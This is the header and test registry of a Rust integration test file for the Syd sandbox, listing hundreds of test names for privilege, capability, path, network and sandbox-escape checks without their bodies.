//
// Syd: rock-solid unikernel
// src/test/test.rs: Integration tests
//
// Copyright (c) 2023, 2024 Ali Polatel <alip@chesswob.org>
//
// SPDX-License-Identifier: GPL-3.0-or-later

#![allow(non_snake_case)]
#![allow(clippy::disallowed_methods)]

use std::{
    env,
    fs::{create_dir_all, metadata, File},
    io::{BufReader, Read, Write},
    os::{
        fd::AsRawFd,
        unix::{
            fs::{symlink, PermissionsExt},
            process::ExitStatusExt,
        },
    },
    path::Path,
    process::{Command, Stdio},
    thread::sleep,
    time::Duration,
};

use hex::DisplayHex;
use nix::{
    sys::{
        signal::{kill, Signal},
        stat::{umask, Mode},
    },
    unistd::{fork, mkdir, pipe, unlink, ForkResult, Pid, Uid},
};
use syd::{
    fs::{path_exists, path_split},
    hash::HashAlgorithm,
};

use crate::{
    assert, assert_eq, assert_status_aborted, assert_status_code, assert_status_code_matches,
    assert_status_denied, assert_status_killed, assert_status_not_ok, assert_status_not_supported,
    assert_status_ok, assert_status_sigsys, fixup, ignore, skip_unless_available,
    skip_unless_bitness, skip_unless_cap, skip_unless_coredumps, skip_unless_exists,
    skip_unless_unshare, util::*,
};

const EX_SIGIOT: i32 = 128 + nix::libc::SIGIOT;
const EX_SIGKILL: i32 = 128 + nix::libc::SIGKILL;
const EX_SIGSEGV: i32 = 128 + nix::libc::SIGSEGV;

const NONE: &[&str] = &[];

/// Represents a test case.
pub type Test<'a> = (&'a str, fn() -> TestResult);

macro_rules! test_entry {
    ($func:expr) => {
        (stringify!($func), $func)
    };
}

/// List of integration tests.
pub const TESTS: &[Test] = &[
    test_entry!(test_syd_version),
    test_entry!(test_syd_export_syntax),
    test_entry!(test_syd_export_sanity_parent),
    test_entry!(test_syd_export_sanity_socket),
    test_entry!(test_syd_export_sanity_waiter),
    test_entry!(test_syd_export_sanity_process),
    test_entry!(test_syd_export_sanity_monitor),
    test_entry!(test_syd_true_returns_success),
    test_entry!(test_syd_true_returns_success_with_many_processes),
    test_entry!(test_syd_true_returns_success_with_many_threads),
    test_entry!(test_syd_false_returns_failure),
    test_entry!(test_syd_true_returns_failure_with_many_processes),
    test_entry!(test_syd_true_returns_failure_with_many_threads),
    test_entry!(test_syd_empty_file_returns_enoexec),
    test_entry!(test_syd_non_executable_file_returns_eacces_empty),
    test_entry!(test_syd_non_executable_file_returns_eacces_binary),
    test_entry!(test_syd_non_executable_file_returns_eacces_script),
    test_entry!(test_syd_sigint_returns_130),
    test_entry!(test_syd_sigabrt_returns_134),
    test_entry!(test_syd_sigkill_returns_137),
    test_entry!(test_syd_reap_zombies_bare),
    test_entry!(test_syd_reap_zombies_wrap),
    test_entry!(test_syd_whoami_returns_root_fake),
    test_entry!(test_syd_whoami_returns_root_user),
    test_entry!(test_syd_setuid_nobody_default),
    test_entry!(test_syd_setuid_nobody_safesetid_deny),
    test_entry!(test_syd_setuid_root_safesetid_deny),
    test_entry!(test_syd_setuid_nobody_safesetid_allow),
    test_entry!(test_syd_setgid_nobody_default),
    test_entry!(test_syd_setgid_nobody_safesetid_deny),
    test_entry!(test_syd_setgid_root_safesetid_deny),
    test_entry!(test_syd_setgid_nobody_safesetid_allow),
    test_entry!(test_syd_setreuid_nobody_default_1),
    test_entry!(test_syd_setreuid_nobody_default_2),
    test_entry!(test_syd_setreuid_nobody_default_3),
    test_entry!(test_syd_setreuid_nobody_safesetid_deny_1),
    test_entry!(test_syd_setreuid_nobody_safesetid_deny_2),
    test_entry!(test_syd_setreuid_nobody_safesetid_deny_3),
    test_entry!(test_syd_setreuid_root_safesetid_deny_1),
    test_entry!(test_syd_setreuid_root_safesetid_deny_2),
    test_entry!(test_syd_setreuid_root_safesetid_deny_3),
    test_entry!(test_syd_setreuid_nobody_safesetid_allow_1),
    test_entry!(test_syd_setreuid_nobody_safesetid_allow_2),
    test_entry!(test_syd_setreuid_nobody_safesetid_allow_3),
    test_entry!(test_syd_setregid_nobody_default_1),
    test_entry!(test_syd_setregid_nobody_default_2),
    test_entry!(test_syd_setregid_nobody_default_3),
    test_entry!(test_syd_setregid_nobody_safesetid_deny_1),
    test_entry!(test_syd_setregid_nobody_safesetid_deny_2),
    test_entry!(test_syd_setregid_nobody_safesetid_deny_3),
    test_entry!(test_syd_setregid_root_safesetid_deny_1),
    test_entry!(test_syd_setregid_root_safesetid_deny_2),
    test_entry!(test_syd_setregid_root_safesetid_deny_3),
    test_entry!(test_syd_setregid_nobody_safesetid_allow_1),
    test_entry!(test_syd_setregid_nobody_safesetid_allow_2),
    test_entry!(test_syd_setregid_nobody_safesetid_allow_3),
    test_entry!(test_syd_setresuid_nobody_default_1),
    test_entry!(test_syd_setresuid_nobody_default_2),
    test_entry!(test_syd_setresuid_nobody_default_3),
    test_entry!(test_syd_setresuid_nobody_default_4),
    test_entry!(test_syd_setresuid_nobody_default_5),
    test_entry!(test_syd_setresuid_nobody_default_6),
    test_entry!(test_syd_setresuid_nobody_default_7),
    test_entry!(test_syd_setresuid_nobody_safesetid_deny_1),
    test_entry!(test_syd_setresuid_nobody_safesetid_deny_2),
    test_entry!(test_syd_setresuid_nobody_safesetid_deny_3),
    test_entry!(test_syd_setresuid_nobody_safesetid_deny_4),
    test_entry!(test_syd_setresuid_nobody_safesetid_deny_5),
    test_entry!(test_syd_setresuid_nobody_safesetid_deny_6),
    test_entry!(test_syd_setresuid_nobody_safesetid_deny_7),
    test_entry!(test_syd_setresuid_root_safesetid_deny_1),
    test_entry!(test_syd_setresuid_root_safesetid_deny_2),
    test_entry!(test_syd_setresuid_root_safesetid_deny_3),
    test_entry!(test_syd_setresuid_root_safesetid_deny_4),
    test_entry!(test_syd_setresuid_root_safesetid_deny_5),
    test_entry!(test_syd_setresuid_root_safesetid_deny_6),
    test_entry!(test_syd_setresuid_root_safesetid_deny_7),
    test_entry!(test_syd_setresuid_nobody_safesetid_allow_1),
    test_entry!(test_syd_setresuid_nobody_safesetid_allow_2),
    test_entry!(test_syd_setresuid_nobody_safesetid_allow_3),
    test_entry!(test_syd_setresuid_nobody_safesetid_allow_4),
    test_entry!(test_syd_setresuid_nobody_safesetid_allow_5),
    test_entry!(test_syd_setresuid_nobody_safesetid_allow_6),
    test_entry!(test_syd_setresuid_nobody_safesetid_allow_7),
    test_entry!(test_syd_setresgid_nobody_default_1),
    test_entry!(test_syd_setresgid_nobody_default_2),
    test_entry!(test_syd_setresgid_nobody_default_3),
    test_entry!(test_syd_setresgid_nobody_default_4),
    test_entry!(test_syd_setresgid_nobody_default_5),
    test_entry!(test_syd_setresgid_nobody_default_6),
    test_entry!(test_syd_setresgid_nobody_default_7),
    test_entry!(test_syd_setresgid_nobody_safesetid_deny_1),
    test_entry!(test_syd_setresgid_nobody_safesetid_deny_2),
    test_entry!(test_syd_setresgid_nobody_safesetid_deny_3),
    test_entry!(test_syd_setresgid_nobody_safesetid_deny_4),
    test_entry!(test_syd_setresgid_nobody_safesetid_deny_5),
    test_entry!(test_syd_setresgid_nobody_safesetid_deny_6),
    test_entry!(test_syd_setresgid_nobody_safesetid_deny_7),
    test_entry!(test_syd_setresgid_root_safesetid_deny_1),
    test_entry!(test_syd_setresgid_root_safesetid_deny_2),
    test_entry!(test_syd_setresgid_root_safesetid_deny_3),
    test_entry!(test_syd_setresgid_root_safesetid_deny_4),
    test_entry!(test_syd_setresgid_root_safesetid_deny_5),
    test_entry!(test_syd_setresgid_root_safesetid_deny_6),
    test_entry!(test_syd_setresgid_root_safesetid_deny_7),
    test_entry!(test_syd_setresgid_nobody_safesetid_allow_1),
    test_entry!(test_syd_setresgid_nobody_safesetid_allow_2),
    test_entry!(test_syd_setresgid_nobody_safesetid_allow_3),
    test_entry!(test_syd_setresgid_nobody_safesetid_allow_4),
    test_entry!(test_syd_setresgid_nobody_safesetid_allow_5),
    test_entry!(test_syd_setresgid_nobody_safesetid_allow_6),
    test_entry!(test_syd_setresgid_nobody_safesetid_allow_7),
    test_entry!(test_syd_drop_cap_sys_ptrace_exec_default),
    test_entry!(test_syd_drop_cap_sys_ptrace_exec_unsafe_caps),
    test_entry!(test_syd_drop_cap_sys_ptrace_exec_unsafe_debug),
    test_entry!(test_syd_drop_cap_chown_exec_default),
    test_entry!(test_syd_drop_cap_chown_exec_unsafe),
    test_entry!(test_syd_drop_cap_chown_exec_allow_unsafe),
    test_entry!(test_syd_drop_cap_setgid_exec_default),
    test_entry!(test_syd_drop_cap_setgid_exec_unsafe),
    test_entry!(test_syd_drop_cap_setgid_exec_safesetid),
    test_entry!(test_syd_drop_cap_setuid_exec_default),
    test_entry!(test_syd_drop_cap_setuid_exec_unsafe),
    test_entry!(test_syd_drop_cap_setuid_exec_safesetid),
    test_entry!(test_syd_drop_cap_net_bind_service_exec_default),
    test_entry!(test_syd_drop_cap_net_bind_service_exec_unsafe_caps),
    test_entry!(test_syd_drop_cap_net_bind_service_exec_unsafe_bind),
    test_entry!(test_syd_drop_cap_net_raw_exec_default),
    test_entry!(test_syd_drop_cap_net_raw_exec_unsafe_caps),
    test_entry!(test_syd_drop_cap_net_raw_exec_unsafe_socket),
    test_entry!(test_syd_drop_cap_sys_time_exec_default),
    test_entry!(test_syd_drop_cap_sys_time_exec_unsafe_caps),
    test_entry!(test_syd_drop_cap_sys_time_exec_unsafe_time),
    test_entry!(test_syd_drop_cap_syslog_exec_default),
    test_entry!(test_syd_drop_cap_syslog_exec_unsafe_caps),
    test_entry!(test_syd_drop_cap_syslog_exec_unsafe_syslog),
    test_entry!(test_syd_drop_cap_sys_ptrace_load_default),
    test_entry!(test_syd_drop_cap_sys_ptrace_load_unsafe_caps),
    test_entry!(test_syd_drop_cap_sys_ptrace_load_unsafe_debug),
    test_entry!(test_syd_drop_cap_chown_load_default),
    test_entry!(test_syd_drop_cap_chown_load_unsafe),
    test_entry!(test_syd_drop_cap_chown_load_allow_unsafe),
    test_entry!(test_syd_drop_cap_setgid_load_default),
    test_entry!(test_syd_drop_cap_setgid_load_unsafe),
    test_entry!(test_syd_drop_cap_setgid_load_safesetid),
    test_entry!(test_syd_drop_cap_setuid_load_default),
    test_entry!(test_syd_drop_cap_setuid_load_unsafe),
    test_entry!(test_syd_drop_cap_setuid_load_safesetid),
    test_entry!(test_syd_drop_cap_net_bind_service_load_default),
    test_entry!(test_syd_drop_cap_net_bind_service_load_unsafe_caps),
    test_entry!(test_syd_drop_cap_net_bind_service_load_unsafe_bind),
    test_entry!(test_syd_drop_cap_net_raw_load_default),
    test_entry!(test_syd_drop_cap_net_raw_load_unsafe_caps),
    test_entry!(test_syd_drop_cap_net_raw_load_unsafe_socket),
    test_entry!(test_syd_drop_cap_sys_time_load_default),
    test_entry!(test_syd_drop_cap_sys_time_load_unsafe_caps),
    test_entry!(test_syd_drop_cap_sys_time_load_unsafe_time),
    test_entry!(test_syd_drop_cap_syslog_load_default),
    test_entry!(test_syd_drop_cap_syslog_load_unsafe_caps),
    test_entry!(test_syd_drop_cap_syslog_load_unsafe_syslog),
    test_entry!(test_syd_userns_drop_cap_sys_ptrace_exec_default),
    test_entry!(test_syd_userns_drop_cap_sys_ptrace_exec_unsafe_caps),
    test_entry!(test_syd_userns_drop_cap_sys_ptrace_exec_unsafe_debug),
    test_entry!(test_syd_userns_drop_cap_chown_exec_default),
    test_entry!(test_syd_userns_drop_cap_chown_exec_unsafe),
    test_entry!(test_syd_userns_drop_cap_chown_exec_allow_unsafe),
    test_entry!(test_syd_userns_drop_cap_setgid_exec_default),
    test_entry!(test_syd_userns_drop_cap_setgid_exec_unsafe),
    test_entry!(test_syd_userns_drop_cap_setgid_exec_safesetid),
    test_entry!(test_syd_userns_drop_cap_setuid_exec_default),
    test_entry!(test_syd_userns_drop_cap_setuid_exec_unsafe),
    test_entry!(test_syd_userns_drop_cap_setuid_exec_safesetid),
    test_entry!(test_syd_userns_drop_cap_net_bind_service_exec_default),
    test_entry!(test_syd_userns_drop_cap_net_bind_service_exec_unsafe_caps),
    test_entry!(test_syd_userns_drop_cap_net_bind_service_exec_unsafe_bind),
    test_entry!(test_syd_userns_drop_cap_net_raw_exec_default),
    test_entry!(test_syd_userns_drop_cap_net_raw_exec_unsafe_caps),
    test_entry!(test_syd_userns_drop_cap_net_raw_exec_unsafe_socket),
    test_entry!(test_syd_userns_drop_cap_sys_time_exec_default),
    test_entry!(test_syd_userns_drop_cap_sys_time_exec_unsafe_caps),
    test_entry!(test_syd_userns_drop_cap_sys_time_exec_unsafe_time),
    test_entry!(test_syd_userns_drop_cap_syslog_exec_default),
    test_entry!(test_syd_userns_drop_cap_syslog_exec_unsafe_caps),
    test_entry!(test_syd_userns_drop_cap_syslog_exec_unsafe_syslog),
    test_entry!(test_syd_userns_drop_cap_sys_ptrace_load_default),
    test_entry!(test_syd_userns_drop_cap_sys_ptrace_load_unsafe_caps),
    test_entry!(test_syd_userns_drop_cap_sys_ptrace_load_unsafe_debug),
    test_entry!(test_syd_userns_drop_cap_chown_load_default),
    test_entry!(test_syd_userns_drop_cap_chown_load_unsafe),
    test_entry!(test_syd_userns_drop_cap_chown_load_allow_unsafe),
    test_entry!(test_syd_userns_drop_cap_setgid_load_default),
    test_entry!(test_syd_userns_drop_cap_setgid_load_unsafe),
    test_entry!(test_syd_userns_drop_cap_setgid_load_safesetid),
    test_entry!(test_syd_userns_drop_cap_setuid_load_default),
    test_entry!(test_syd_userns_drop_cap_setuid_load_unsafe),
    test_entry!(test_syd_userns_drop_cap_setuid_load_safesetid),
    test_entry!(test_syd_userns_drop_cap_net_bind_service_load_default),
    test_entry!(test_syd_userns_drop_cap_net_bind_service_load_unsafe_caps),
    test_entry!(test_syd_userns_drop_cap_net_bind_service_load_unsafe_bind),
    test_entry!(test_syd_userns_drop_cap_net_raw_load_default),
    test_entry!(test_syd_userns_drop_cap_net_raw_load_unsafe_caps),
    test_entry!(test_syd_userns_drop_cap_net_raw_load_unsafe_socket),
    test_entry!(test_syd_userns_drop_cap_sys_time_load_default),
    test_entry!(test_syd_userns_drop_cap_sys_time_load_unsafe_caps),
    test_entry!(test_syd_userns_drop_cap_sys_time_load_unsafe_time),
    test_entry!(test_syd_userns_drop_cap_syslog_load_default),
    test_entry!(test_syd_userns_drop_cap_syslog_load_unsafe_caps),
    test_entry!(test_syd_userns_drop_cap_syslog_load_unsafe_syslog),
    test_entry!(test_syd_socket_domain_restrictions),
    test_entry!(test_syd_tkill_restrictions),
    test_entry!(test_syd_xattr_name_restrictions_get_default),
    test_entry!(test_syd_xattr_name_restrictions_get_lockoff),
    test_entry!(test_syd_xattr_name_restrictions_set_default),
    test_entry!(test_syd_xattr_name_restrictions_set_lockoff),
    test_entry!(test_syd_xattr_name_restrictions_lst_default),
    test_entry!(test_syd_xattr_name_restrictions_lst_lockoff),
    test_entry!(test_syd_environment_filter),
    test_entry!(test_syd_environment_harden),
    test_entry!(test_syd_lock),
    test_entry!(test_syd_lock_exec),
    test_entry!(test_syd_lock_prevents_further_cli_args),
    test_entry!(test_syd_lock_prevents_further_cfg_items),
    test_entry!(test_syd_lock_prevents_further_inc_items),
    test_entry!(test_syd_chk),
    test_entry!(test_syd_cmd_exec_with_lock_default),
    test_entry!(test_syd_cmd_exec_with_lock_on),
    test_entry!(test_syd_cmd_exec_with_lock_off_1),
    test_entry!(test_syd_cmd_exec_with_lock_off_2),
    test_entry!(test_syd_cmd_exec_with_lock_exec_1),
    test_entry!(test_syd_cmd_exec_with_lock_exec_2),
    test_entry!(test_syd_parse_config),
    test_entry!(test_syd_include_config),
    test_entry!(test_syd_shellexpand_01),
    test_entry!(test_syd_shellexpand_02),
    test_entry!(test_syd_shellexpand_03),
    test_entry!(test_syd_shellexpand_04),
    test_entry!(test_syd_lock_personality),
    test_entry!(test_syd_mmap_prot_read_exec_with_map_anonymous),
    test_entry!(test_syd_mmap_prot_write_exec_with_map_anonymous),
    test_entry!(test_syd_mmap_prot_read_exec_with_backing_file),
    test_entry!(test_syd_mmap_prot_write_exec_with_backing_file),
    test_entry!(test_syd_mmap_prot_exec_rdwr_fd),
    test_entry!(test_syd_mmap_fixed_null),
    test_entry!(test_syd_mprotect_read_to_exec),
    test_entry!(test_syd_mprotect_read_to_write_exec),
    test_entry!(test_syd_mprotect_write_to_exec),
    test_entry!(test_syd_mprotect_write_to_read_exec),
    test_entry!(test_syd_mprotect_exe),
    test_entry!(test_syd_mprotect_jit),
    test_entry!(test_syd_load_library),
    test_entry!(test_syd_load_library_noexec),
    test_entry!(test_syd_load_library_abort_after_load),
    test_entry!(test_syd_load_library_abort_at_startup),
    test_entry!(test_syd_load_library_check_fd_leaks_bare),
    test_entry!(test_syd_load_library_check_fd_leaks_wrap),
    test_entry!(test_syd_load_library_check_fd_leaks_init_bare),
    test_entry!(test_syd_load_library_check_fd_leaks_init_wrap),
    test_entry!(test_syd_read_sandbox_open_allow),
    test_entry!(test_syd_read_sandbox_open_deny),
    test_entry!(test_syd_stat_sandbox_stat_allow),
    test_entry!(test_syd_stat_sandbox_stat_hide),
    test_entry!(test_syd_stat_sandbox_getdents_allow),
    test_entry!(test_syd_stat_sandbox_getdents_hide),
    test_entry!(test_syd_stat_bypass_with_read),
    test_entry!(test_syd_stat_bypass_with_write),
    test_entry!(test_syd_stat_bypass_with_exec),
    test_entry!(test_syd_write_sandbox_open_allow),
    test_entry!(test_syd_write_sandbox_open_deny),
    test_entry!(test_syd_exec_sandbox_open_allow),
    test_entry!(test_syd_exec_sandbox_open_deny),
    test_entry!(test_syd_exec_sandbox_deny_binfmt_script),
    test_entry!(test_syd_exec_sandbox_many_binfmt_script),
    test_entry!(test_syd_exec_sandbox_prevent_library_injection_dlopen_bare),
    test_entry!(test_syd_exec_sandbox_prevent_library_injection_dlopen_wrap),
    test_entry!(test_syd_exec_sandbox_prevent_library_injection_LD_LIBRARY_PATH),
    test_entry!(test_syd_exec_sandbox_prevent_library_injection_LD_PRELOAD_safe),
    test_entry!(test_syd_exec_sandbox_prevent_library_injection_LD_PRELOAD_unsafe),
    test_entry!(test_syd_network_sandbox_accept_ipv4),
    test_entry!(test_syd_network_sandbox_accept_ipv6),
    test_entry!(test_syd_network_sandbox_connect_ipv4_allow),
    test_entry!(test_syd_network_sandbox_connect_ipv4_deny),
    test_entry!(test_syd_network_sandbox_connect_ipv6_allow),
    test_entry!(test_syd_network_sandbox_connect_ipv6_deny),
    test_entry!(test_syd_network_sandbox_allow_safe_bind_ipv4_failure),
    test_entry!(test_syd_network_sandbox_allow_safe_bind_ipv4_success),
    test_entry!(test_syd_network_sandbox_allow_safe_bind_ipv6_failure),
    test_entry!(test_syd_network_sandbox_allow_safe_bind_ipv6_success),
    test_entry!(test_syd_handle_toolong_unix_connect),
    test_entry!(test_syd_handle_toolong_unix_sendto),
    test_entry!(test_syd_handle_toolong_unix_sendmsg),
    test_entry!(test_syd_sendmsg_scm_rights_one),
    test_entry!(test_syd_sendmsg_scm_rights_many),
    test_entry!(test_syd_sendmmsg),
    test_entry!(test_syd_appendonly_prevent_clobber),
    test_entry!(test_syd_appendonly_prevent_removal),
    test_entry!(test_syd_appendonly_prevent_rename),
    test_entry!(test_syd_appendonly_prevent_truncate),
    test_entry!(test_syd_appendonly_prevent_ftruncate),
    test_entry!(test_syd_mask_simple),
    test_entry!(test_syd_truncate),
    test_entry!(test_syd_truncate64),
    test_entry!(test_syd_ftruncate),
    test_entry!(test_syd_ftruncate64),
    test_entry!(test_syd_kcapi_hash_block),
    test_entry!(test_syd_kcapi_hash_stream),
    test_entry!(test_syd_kcapi_cipher_block),
    test_entry!(test_syd_exit_wait_default),
    test_entry!(test_syd_exit_wait_default_unsafe_exec),
    test_entry!(test_syd_exit_wait_pid),
    test_entry!(test_syd_exit_wait_pid_unsafe_exec),
    test_entry!(test_syd_exit_wait_pid_with_runaway_cmd_exec_process),
    test_entry!(test_syd_exit_wait_pid_unsafe_exec_with_runaway_cmd_exec_process),
    test_entry!(test_syd_exit_wait_all),
    test_entry!(test_syd_exit_wait_all_unsafe_exec),
    test_entry!(test_syd_exit_wait_all_with_runaway_cmd_exec_process),
    test_entry!(test_syd_exit_wait_all_unsafe_exec_with_runaway_cmd_exec_process),
    test_entry!(test_syd_cli_args_override_user_profile),
    test_entry!(test_syd_ifconfig_lo_bare),
    test_entry!(test_syd_ifconfig_lo_wrap),
    test_entry!(test_syd_parse_elf_native),
    test_entry!(test_syd_parse_elf_32bit),
    test_entry!(test_syd_parse_elf_path),
    test_entry!(test_syd_deny_elf32),
    test_entry!(test_syd_deny_elf_dynamic),
    test_entry!(test_syd_deny_elf_static),
    test_entry!(test_syd_deny_script),
    test_entry!(test_syd_prevent_ld_linux_exec_break),
    test_entry!(test_syd_enforce_pie_dynamic),
    test_entry!(test_syd_enforce_pie_static),
    test_entry!(test_syd_enforce_execstack_dynamic),
    test_entry!(test_syd_enforce_execstack_static),
    test_entry!(test_syd_enforce_execstack_nested_routine),
    test_entry!(test_syd_enforce_execstack_self_modifying),
    test_entry!(test_syd_enforce_mprotect_self_modifying),
    test_entry!(test_syd_enforce_execstack_on_mmap_noexec_rtld_now),
    test_entry!(test_syd_enforce_execstack_on_mmap_noexec_rtld_lazy),
    test_entry!(test_syd_enforce_execstack_on_mmap_exec_rtld_now),
    test_entry!(test_syd_enforce_execstack_on_mmap_exec_rtld_lazy),
    test_entry!(test_syd_enforce_execstack_on_mmap_exec_rtld_now_unsafe),
    test_entry!(test_syd_enforce_execstack_on_mmap_exec_rtld_lazy_unsafe),
    test_entry!(test_syd_force_sandbox),
    test_entry!(test_syd_segvguard_core_safe),
    test_entry!(test_syd_segvguard_core_unsafe),
    test_entry!(test_syd_segvguard_suspension_safe),
    test_entry!(test_syd_segvguard_suspension_unsafe),
    test_entry!(test_syd_symlink_toctou),
    test_entry!(test_syd_symlinkat_toctou),
    test_entry!(test_syd_ptrmod_toctou_exec_fail),
    test_entry!(test_syd_ptrmod_toctou_exec_success_quick),
    test_entry!(test_syd_ptrmod_toctou_exec_success_double_fork),
    test_entry!(test_syd_ptrmod_toctou_exec_success_quick_no_mitigation),
    test_entry!(test_syd_ptrmod_toctou_exec_success_double_fork_no_mitigation),
    test_entry!(test_syd_ptrmod_toctou_open),
    test_entry!(test_syd_ptrmod_toctou_creat),
    test_entry!(test_syd_ptrmod_toctou_opath_default),
    test_entry!(test_syd_ptrmod_toctou_opath_unsafe),
    test_entry!(test_syd_vfsmod_toctou_mmap),
    test_entry!(test_syd_vfsmod_toctou_open_file_off),
    test_entry!(test_syd_vfsmod_toctou_open_file_deny),
    test_entry!(test_syd_vfsmod_toctou_open_path_off),
    test_entry!(test_syd_vfsmod_toctou_open_path_deny),
    test_entry!(test_syd_io_uring_escape_strict),
    test_entry!(test_syd_io_uring_escape_unsafe),
    test_entry!(test_syd_opath_escape),
    test_entry!(test_syd_devfd_escape_open),
    test_entry!(test_syd_devfd_escape_open_relpath_1),
    test_entry!(test_syd_devfd_escape_open_relpath_2),
    test_entry!(test_syd_devfd_escape_open_relpath_3),
    test_entry!(test_syd_devfd_escape_open_relpath_4),
    test_entry!(test_syd_devfd_escape_open_relpath_5),
    test_entry!(test_syd_devfd_escape_open_relpath_6),
    test_entry!(test_syd_devfd_escape_open_relpath_7),
    test_entry!(test_syd_devfd_escape_open_relpath_8),
    test_entry!(test_syd_devfd_escape_open_relpath_9),
    test_entry!(test_syd_devfd_escape_open_relpath_10),
    test_entry!(test_syd_devfd_escape_open_relpath_11),
    test_entry!(test_syd_devfd_escape_open_relpath_12),
    test_entry!(test_syd_devfd_escape_open_relpath_13),
    test_entry!(test_syd_devfd_escape_open_relpath_14),
    test_entry!(test_syd_devfd_escape_open_relpath_15),
    test_entry!(test_syd_devfd_escape_open_relpath_16),
    test_entry!(test_syd_devfd_escape_open_relpath_17),
    test_entry!(test_syd_devfd_escape_open_relpath_18),
    test_entry!(test_syd_devfd_escape_open_relpath_19),
    test_entry!(test_syd_devfd_escape_open_relpath_20),
    test_entry!(test_syd_procself_escape_open),
    test_entry!(test_syd_procself_escape_open_relpath_1),
    test_entry!(test_syd_procself_escape_open_relpath_2),
    test_entry!(test_syd_procself_escape_open_relpath_3),
    test_entry!(test_syd_procself_escape_open_relpath_4),
    test_entry!(test_syd_procself_escape_open_relpath_5),
    test_entry!(test_syd_procself_escape_open_relpath_6),
    test_entry!(test_syd_procself_escape_open_relpath_7),
    test_entry!(test_syd_procself_escape_relpath),
    test_entry!(test_syd_procself_escape_symlink),
    test_entry!(test_syd_procself_escape_symlink_within_container),
    test_entry!(test_syd_rmdir_escape_file),
    test_entry!(test_syd_rmdir_escape_dir),
    test_entry!(test_syd_rmdir_escape_fifo),
    test_entry!(test_syd_rmdir_escape_unix),
    test_entry!(test_syd_umask_bypass_077),
    test_entry!(test_syd_umask_bypass_277),
    test_entry!(test_syd_emulate_opath),
    test_entry!(test_syd_emulate_otmpfile),
    test_entry!(test_syd_honor_umask_000),
    test_entry!(test_syd_honor_umask_022),
    test_entry!(test_syd_honor_umask_077),
    test_entry!(test_syd_force_umask_bypass_with_open),
    test_entry!(test_syd_force_umask_bypass_with_mknod),
    test_entry!(test_syd_force_umask_bypass_with_mkdir),
    test_entry!(test_syd_force_umask_bypass_with_fchmod),
    test_entry!(test_syd_open_utf8_invalid),
    test_entry!(test_syd_exec_in_inaccessible_directory),
    test_entry!(test_syd_fstat_on_pipe),
    test_entry!(test_syd_fstat_on_socket),
    test_entry!(test_syd_fstat_on_deleted_file),
    test_entry!(test_syd_fstat_on_temp_file),
    test_entry!(test_syd_fchmodat_on_proc_fd),
    test_entry!(test_syd_linkat_on_fd),
    test_entry!(test_syd_block_ioctl_tiocsti_default),
    test_entry!(test_syd_block_ioctl_tiocsti_dynamic),
    test_entry!(test_syd_block_ioctl_tiocsti_sremadd),
    test_entry!(test_syd_block_ioctl_tiocsti_sremove),
    test_entry!(test_syd_block_ioctl_tiocsti_dremove),
    test_entry!(test_syd_block_prctl_ptrace),
    test_entry!(test_syd_prevent_ptrace_detect),
    test_entry!(test_syd_block_dev_random),
    test_entry!(test_syd_block_dev_urandom),
    test_entry!(test_syd_kill_during_syscall),
    test_entry!(test_syd_open_toolong_path),
    test_entry!(test_syd_open_null_path),
    test_entry!(test_syd_utimensat_null),
    test_entry!(test_syd_normalize_path),
    test_entry!(test_syd_path_resolution),
    test_entry!(test_syd_remove_empty_path),
    test_entry!(test_syd_symlink_readonly_path),
    test_entry!(test_syd_open_trailing_slash),
    test_entry!(test_syd_openat_trailing_slash),
    test_entry!(test_syd_lstat_trailing_slash),
    test_entry!(test_syd_fstatat_trailing_slash),
    test_entry!(test_syd_mkdir_symlinks),
    test_entry!(test_syd_mkdir_trailing_dot),
    test_entry!(test_syd_mkdirat_trailing_dot),
    test_entry!(test_syd_rmdir_trailing_slashdot),
    test_entry!(test_syd_mkdir_eexist_escape),
    test_entry!(test_syd_mkdirat_eexist_escape),
    test_entry!(test_syd_mknod_eexist_escape),
    test_entry!(test_syd_mknodat_eexist_escape),
    test_entry!(test_syd_fopen_supports_mode_e),
    test_entry!(test_syd_fopen_supports_mode_x),
    test_entry!(test_syd_link_no_symlink_deref),
    test_entry!(test_syd_link_posix),
    test_entry!(test_syd_linkat_posix),
    test_entry!(test_syd_cp_overwrite),
    test_entry!(test_syd_getcwd_long),
    test_entry!(test_syd_creat_thru_dangling),
    test_entry!(test_syd_mkdirat_non_dir_fd),
    test_entry!(test_syd_blocking_udp4),
    test_entry!(test_syd_blocking_udp6),
    test_entry!(test_syd_close_on_exec),
    test_entry!(test_syd_open_exclusive_restart),
    test_entry!(test_syd_open_exclusive_repeat),
    test_entry!(test_syd_setsid_detach_tty),
    test_entry!(test_syd_pty_io_rust),
    test_entry!(test_syd_pty_io_gawk),
    test_entry!(test_syd_diff_dev_fd),
    test_entry!(test_syd_fifo_multiple_readers),
    test_entry!(test_syd_bind_unix_socket),
    test_entry!(test_syd_signal_protection_simple),
    test_entry!(test_syd_signal_protection_killpg_0),
    test_entry!(test_syd_signal_protection_killpg_self),
    test_entry!(test_syd_signal_protection_killpg_syd),
    test_entry!(test_syd_signal_protection_mass_0),
    test_entry!(test_syd_signal_protection_mass_int),
    test_entry!(test_syd_emulate_open_fifo),
    test_entry!(test_syd_deny_magiclinks),
    test_entry!(test_syd_open_magiclinks),
    test_entry!(test_syd_lstat_magiclinks),
    test_entry!(test_syd_access_unsafe_paths),
    test_entry!(test_syd_access_proc_cmdline),
    test_entry!(test_syd_mkdir_with_control_chars_default),
    test_entry!(test_syd_mkdir_with_control_chars_unsafe),
    test_entry!(test_syd_touch_with_control_chars_default),
    test_entry!(test_syd_touch_with_control_chars_unsafe),
    test_entry!(test_syd_fanotify_mark_cwd_allow),
    test_entry!(test_syd_fanotify_mark_cwd_deny),
    test_entry!(test_syd_fanotify_mark_dir_allow),
    test_entry!(test_syd_fanotify_mark_dir_deny),
    test_entry!(test_syd_fanotify_mark_path_allow),
    test_entry!(test_syd_fanotify_mark_path_deny),
    test_entry!(test_syd_fanotify_mark_dir_path_allow),
    test_entry!(test_syd_fanotify_mark_dir_path_deny),
    test_entry!(test_syd_fanotify_mark_symlink_allow),
    test_entry!(test_syd_fanotify_mark_symlink_deny),
    test_entry!(test_syd_inotify_add_watch_path_allow),
    test_entry!(test_syd_inotify_add_watch_path_deny),
    test_entry!(test_syd_inotify_add_watch_symlink_allow),
    test_entry!(test_syd_inotify_add_watch_symlink_deny),
    test_entry!(test_syd_unshare_user_bypass_limit),
    test_entry!(test_syd_interrupt_mkdir),
    test_entry!(test_syd_interrupt_bind_ipv4),
    test_entry!(test_syd_interrupt_bind_unix),
    test_entry!(test_syd_interrupt_connect_ipv4),
    //FIXME: This test should be done better.
    //test_entry!(test_syd_repetitive_clone),
    test_entry!(test_syd_stack_pivot_deny),
    test_entry!(test_syd_pid_fork_deny),
